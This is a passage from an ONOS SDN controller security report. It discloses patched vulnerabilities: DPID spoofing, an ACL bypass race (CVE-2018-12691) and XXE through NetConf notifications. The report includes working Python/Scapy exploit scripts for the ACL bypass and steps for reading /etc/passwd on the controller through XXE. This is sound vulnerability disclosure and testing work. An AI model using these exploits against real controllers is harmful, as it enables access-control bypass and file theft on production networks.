(secure) transport connection with the OpenFlow controller (e.g., TLS and TCP), and 
the switch must be controlled by the attacker. 

Affected versions 
ONOS 1.* 

Patch commits 
https://github.com/opennetworkinglab/onos/commit/f69e3e34092139600404681798ceb
eefebcfa6c6  

Patched Versions 
1.13.2 onwards 

Testing for this vulnerability 

1. Use a mininet script with two switches. Configure the switches with the same 
DPID, e.g., 1. 

2. Start ONOS 
3. Start the mininet script. 
4. In the ONOS log an error message will be logged. The second switch will be 

denied a connection. 

Impact 
One or more malicious switches connected to an OpenFlow controller can cause Denial 
of Service attacks in certain OpenFlow controllers by spoofing OpenFlow switch 
identifiers known as DataPath Identifiers (DPIDs). Additionally, the lack of authentication 
and authorization in the OpenFlow handshake can be exploited by malicious switches 
for covert communications, bypassing data plane (and potentially control plane) security 
mechanisms. 
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CVE-2018-12691 - onos-acl: Data Plane Access Control Bypass  

The ONOS access control application (acl) was found to be vulnerable to a             
time-of-check to time-of-use (TOCTTOU) race condition in which a compromised end           
host not permitted to send traffic to another host could bypass the data plane's intended               
access control policy. The compromised end host could send a semantically invalid but             
syntactically correct packet into the data plane to corrupt the controller's host            
information base. The access control application did not process such host added            
events because the host was not associated with any IP addresses; thus, the             
application did not install flow deny rules that would have enforced the access control              
policy. When the compromised end host subsequently sent valid packets into the data             
plane, the host information base was correctly updated but the access control            
application did not use such host updated events to install flow deny rules; thus, the end                
host could bypass the intended access control policy. 

Affected versions 
ONOS 1.12.0, 1.13.0 

Patch commits 
https://gerrit.onosproject.org/#/c/18867/  

Patched Versions 
Patches have been committed to 1.12, 1.13 and will be included in future builds 

Testing for this vulnerability 
The following script (attack.py) and its helper (helper.py) can be used to test for the 
vulnerability. The exploit was tested on Ubuntu 16.04 with Python 2.7, Mininet, and 
Scapy installed. The following command will run the exploit: 

sudo python attack.py 

The access control policy used in this particular script blocks host 1 (IP: 10.0.0.1, MAC:               
00:00:00:00:00:01) from sending ICMP messages to host 2 (IP: 10.0.0.2, MAC:           
00:00:00:00:00:02) on a simple one switch topology. The access control policy can be             
added either through the REST API or by adding several additional lines of code at the                
end of the activate() method of AclManager.java so that the policy gets instantiated at              
the application's activation time: 

AclRule.Builder rule = AclRule.builder(); 
rule.srcIp(Ip4Prefix.valueOf(​"10.0.0.1/32"​)); 
rule.dstIp(Ip4Prefix.valueOf(​"10.0.0.2/32"​)); 
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rule.ipProto(IPv4.PROTOCOL_ICMP); 
rule.action(AclRule.Action.DENY); 
addAclRule(rule.build()); 

 

The testing environment assumes that the access control application has been           
activated and that other applications (e.g., fwd) handle traffic otherwise allowed by the             
access control policy. This can be done through the ONOS client CLI: 

app activate org.onosproject.acl 
app activate org.onosproject.fwd 
app activate org.onosproject.openflow 
 
The testing environment further assumes that host 1's MAC address has not been seen              
before by ONOS. The exploit occurs in two steps: 
 
In step 1, the attacker controlling host 1 sends a malformed ICMP packet (source IP               
address = 0.0.0.0, destination IP address = 255.255.255.255) with host 1's source MAC             
address into the data plane, triggering a HOST_ADDED event. ONOS's host service will             
register host 1's MAC address but not its IP address. Consequently, the access control              
app will see the HOST_ADDED event, but as there are no associated IP addresses with               
the host, the access control app will not install any flow rules to deny communication. 
  
In step 2, the attacker sends packets from host 1 to host 2. ONOS's host service now                 
learns the real IP address of host 1, but as the host has already been seen before                 
through its MAC address, the event is registered as a HOST_UPDATED event. The             
access control app does not handle HOST_UPDATED events, so it does nothing with             
the event. As no flow rules denying traffic were installed in step 1, the traffic from host 1                  
to host 2 is permitted and handled as normal, violating the intended access control              
policy. 
 
To determine whether the vulnerability exists, a successful bypass of the access control             
policy will allow the ping requests sent from 10.0.0.1 destined to 10.0.0.2 to be allowed. 
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# helper.py 
# Sends packets from host 1 into the data plane 
# NOTE: Do not run directly since underlying Linux host cannot resolve interfaces 
#       Should be called from attack.py only. 
# Author: Ben Ujcich (benjamin.ujcich@ll.mit.edu; ujcich2@illinois.edu) 
 
import​ sys 
import​ os 
import​ time 
from​ scapy.all ​import​ * 
 
def​ ​main​(): 
    ​print​ ​"Sending invalid ICMP packets from h1 to data plane" 
    ​# We want a valid src MAC address so that ONOS learns the host but invalid 
    ​# IP src and dst addresses so that ONOS does not bind an IP address to the host 
    pkt = Ether(src=​"00:00:00:00:00:01"​)/IP(src=​"0.0.0.0"​,dst=​"255.255.255.255"​)/ICMP() 
    ​for​ i ​in​ range(​10​): 
        sendp(pkt, iface=​"h1-eth0"​) 
        time.sleep(​1​) 
main() 

 

# attack.py 
# Send crafted packets into the data plane to influence control plane 
# Author: Ben Ujcich (benjamin.ujcich@ll.mit.edu; ujcich2@illinois.edu) 
# 
# Assumptions: 
#  * mininet and scapy installed 
#  * acl app has the following ACL policy installed: 
#      1) ICMP traffic from 10.0.0.1/32 to 10.0.0.2/32 DENY 
#  * acl, fwd, and openflow apps are installed and activated in ONOS 
#    (this assumes a clean startup of ONOS) 
 
import​ sys 
import​ os 
import​ time 
from​ scapy.all ​import​ * 
from​ mininet.net ​import​ Mininet 
from​ mininet.node ​import​ RemoteController 
from​ mininet.topo ​import​ Topo 
from​ mininet.topolib ​import​ TreeTopo 
from​ mininet.link ​import​ Intf 
 
def​ ​main​(): 
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    ​# set up simple 2 host, 1 switch topology 
    topo = Topo() 
    h1 = topo.addHost(​'h1'​, mac=​'00:00:00:00:00:01'​, ip=​'10.0.0.1'​) ​# attacker-controlled host 
    h2 = topo.addHost(​'h2'​, mac=​'00:00:00:00:00:02'​, ip=​'10.0.0.2'​) ​# intended target host 
    s1 = topo.addSwitch(​'s1'​) 
    topo.addLink(h1, s1) 
    topo.addLink(h2, s1) 
  
    ​# set up network and controller handshake 
    net = Mininet(topo=topo, controller=​None​) 
    net.addController( ​'c0'​, controller=RemoteController, ip=​'127.0.0.1'​, port=​6633​ ) 
    net.start() 
    ​print​ ​"Controller setting up. Sleeping for 3 seconds..." 
    time.sleep(​3​) 
  
    h1_h, h2_h  = net.hosts[​0​], net.hosts[​1​] 
  
    ​print​ h1_h.cmd(​'python helper.py'​) 
    ​print​ ​"Malformed packets sent. Sleeping for 5 seconds..." 
    time.sleep(​5​) 
  
    ​print​ ​"Starting ping.." 
    ​print​ h1_h.cmd(​'ping -c10 %s'​ % h2_h.IP()) 
    ​print​ ​"Sleeping for 10 seconds..." 
    time.sleep(​10​) 
    net.stop() 
main() 

 

Impact 
The vulnerability allows for a malicious end host to arbitrarily bypass the data plane's              
access control policies. The exploit does not require the attacker to have access to              
control plane communications, the ONOS controller, or the ONOS applications in order            
to be effective. Furthermore, the exploit can be performed in a stealthy manner because              
it does not cause a noticeable performance effect (e.g., denial of service) to ONOS or to                
the access control application when performed. 
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XXE Attack through Netconf Alarm 

The ONOS NetConf protocol implementation was found to be vulnerable to XML            
External Entity Injection (XXE) . The NetConf protocol lets switches send customized           9

"notification" message to ONOS, but ONOS’s netconf implementation did not disable           
external entities when processing switch-supplied custom XML documents. Hence, a          
rogue switch could use this flaw to exfiltrate files on the ONOS controller remotely or               
launch more advanced XXE attacks. 

Affected versions 
ONOS 1.13.1 and earlier releases 

Patch commit(s) 
https://gerrit.onosproject.org/#/c/18779/  

Patched versions 
The affected versions have been patched. 

Testing for this vulnerability 
OF-CONFIG  can be used to test for this vulnerability. It can be used to emulate a 10

netconf device in SDN. The source code is modified to insert XXE attack payload in the 
notification message. Modify libnetconf/src/session.c as shown in Figure 15: 

9 ​https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing 
10 ​https://github.com/openvswitch/of-config 
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 Figure 15:​​ Source code of OF-CONFIG modified with exploit 

 
Next, connect this device to the ONOS controller and trigger a notification message with 
the following simple program. 
 
  
#include "libnetconf.h" 
int​ ​main​(​int​ argc, ​char​ *argv[]) 
{ 
    nc_init(NC_INIT_SINGLELAYER | NC_INIT_NOTIF); 
    ncntf_event_new(​-1​, NCNTF_GENERIC, argv[​1​]); 
    nc_close(); 
    ​return​ ​0​; 
} 

 

  
Finally, remotely access the file system (one of the XXE attack payloads) on the ONOS 
controller with the command (as shown in Figure 16): 
access /etc/passwd 
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Figure 16:​​ Successful exploit 

  
Impact 
The NetConf protocol enables switches to send customized "notification" messages to 
ONOS. Unfortunately, the ONOS NETCONF implementation did not disable external 
entities when processing switch-supplied custom XML documents. Hence, a remote 
attacker, if able to compromise a netconf switch, could use this flaw to exfiltrate files on 
the ONOS controller remotely, or launch more advanced XXE attacks. This vulnerability 
was fixed few days after its notification. 
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2.2.3 Summary 
In Table 2, we provide a summary of the analyzed configuration and vulnerability issues              
in Sections 2.2.1 and 2.2.2 highlighting the contribution in this report. Links are provided              
to the ONOS wiki page for additional and supporting information. 

Table 2:​​ Configuration and vulnerability summary table.
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Summary 
In​ this report, we documented ONOS performance and security tests regarding: 

- NETCONF SBI performance; 
- availability against bundle failures; 
- latency and scaling tests; 
- security issues and vulnerabilities. 

In some cases, the detected anomalies lead to q​uick improvement to the code. In other               
cases, tickets were opened and are still under resolution. Finally, for some other cases,              
we try to indicate at some extent how the specific issues could be addressed.  

For the bundle failure and latency and scaling test analysis, we highlighted differences             
and marginal improvements or increase of criticality assessment with respect to           
previous versions covered by the previous report [5].  

If you are interested in contributing material for the next report, please contact the              
brigade lead: Stefano Secci (​stefano.secci@cnam.fr​). 
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About ONOS 
ONOS® is the open source SDN networking operating system for Service Provider            
networks architected for high performance, scale and availability. The ONOS ecosystem           
comprises ONF, organizations that are funding and contributing to the ONOS initiative,            
and individual contributors. These organizations include AT&T, China Unicom,         
Comcast, Google, NTT Communications Corp., SK Telecom Co. Ltd., Verizon, Ciena           
Corporation, Cisco Systems, Inc., Ericsson, Fujitsu Ltd., Huawei Technologies Co. Ltd.,           
Intel Corporation, NEC Corporation, Nokia, Radisys and Samsung. See the full list of             
members, including ONOS’ collaborators, and learn how you can get involved with            
ONOS at onosproject.org. 

ONOS is an independently funded software project hosted by The Linux Foundation,            
the nonprofit advancing professional open source management for mass collaboration          
to fuel innovation across industries and ecosystems. 

Further information on the ONOS project website: ​http://www.onosproject.org and wiki          
page at ​https://wiki.onosproject.org/display/ONOS/Wiki+Home 
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